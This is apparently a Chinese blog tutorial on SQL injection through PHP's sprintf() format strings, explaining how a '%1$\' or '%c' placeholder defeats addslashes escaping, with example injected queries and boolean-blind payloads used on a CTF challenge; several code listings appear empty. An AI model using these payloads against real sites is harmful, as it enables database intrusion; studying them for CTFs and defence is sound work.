原理
sprintf()
把百分号(%)符号替换成一个作为参数进行传递的变量:
1 |
|
运行结果
1 | There are 2 million cars in Shanghai. |
定义和用法
sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 “\$” 组成。
1 |
|
结果:
1 | 带有两位小数:123.00 |
漏洞分析
接下来看看sprintf()的底层实现方法
1 | switch (format[inpos]) { |
可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:
如果我们输入"%\"
或者"%1$\"
,他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\"
,"%1$\"
就因为没有经过任何处理而被替换为空。
因此sprintf注入的原理就是
我们用一个15种类型之外的 "\"
来代替格式字符类型让函数替换为空,则“%1$\’”后面的单引号就能闭合前面的单引号,以下是一些例子帮助我们更好的理解
不带占位符的
1 |
|
运行结果:
1 | select * from user where username='' and 1=1 #'; |
注意:username=’’这里是两个单引号不是双引号
1 | and 1=1# |
进行绕过
1 | <?php |
对$input与$b进行了拼接
1 | $sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' ); |
很明显,这个句子里面的\
是由addsashes为了转义单引号而加上的,使用%s与%1$\
类匹配admin,那么admin只会出现在%s里,%1$\
为空
所以输出
1 | %1$\' and 1=1 |
1 | $sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin'); |
result:
1 | SELECT * FROM t WHERE a='admin' AND b='' and 1=1#' |
第一个格式化处匹配时为空,会让给后面的格式化匹配
以上两个例子是吃掉’\’来使得单引号逃逸出来
下面这个例子我们构造单引号
1 |
|
结果:
1 | SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s |
%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。
所以结果为:
1 | SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39 |
实战
i春秋的 “迎圣诞,拿大奖”活动赛题
https://www.ichunqiu.com/battalion?t=1&r=60469
于是构造username=admin%1$\' and 1=2#
与 username=admin%1$\' and 1=1#
于是写下脚本:
1 | # _*_ coding : utf-8 _*_ |